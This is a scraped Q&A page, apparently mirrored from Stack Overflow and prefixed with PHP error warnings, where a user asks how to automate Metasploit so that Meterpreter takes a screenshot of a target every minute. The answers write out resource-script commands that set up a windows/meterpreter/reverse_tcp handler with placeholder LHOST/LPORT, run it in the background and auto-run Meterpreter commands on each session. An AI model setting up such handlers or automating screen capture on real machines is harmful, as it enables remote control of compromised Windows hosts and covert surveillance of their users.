Warning: file_get_contents(/data/phpspider/zhask/data//catemap/5/bash/17.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 自动运行metasploit和MeterMeter命令_Python_Bash_Payload_Metasploit - Fatal编程技术网

Python 自动运行metasploit和MeterMeter命令

Python 自动运行metasploit和MeterMeter命令,python,bash,payload,metasploit,Python,Bash,Payload,Metasploit,我想每分钟自动运行metrpreter命令,不幸的是,我没有足够的编程技能来编写bash脚本或python。 例如,我想自动执行以下操作: msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST x.x.x.x set LPORT 443 exploit Meterpreter session 1 opened meterpreter > screensho

我想每分钟自动运行metrpreter命令,不幸的是,我没有足够的编程技能来编写bash脚本或python。 例如,我想自动执行以下操作:

msfconsole   
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT 443
exploit 
Meterpreter session 1 opened
meterpreter > screenshot 

事实上,每分钟都会自动截图

我们可以制作listener.rc

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT 443
exploit -j -z
并运行:

msfconsole-r~/listener.rc

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT 443
exploit -j -z
但是如何添加meterpeter命令呢

像这样做

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT 443
set AutoRunScript multi_console_command -rc commands.rc
exploit -j -z

在commands.rc中,每行放置一个MeterMeter命令

+1@Rashwanov。这会运行一次MeterMeter命令,但我想每分钟自动重复一次指定命令,如“屏幕截图”。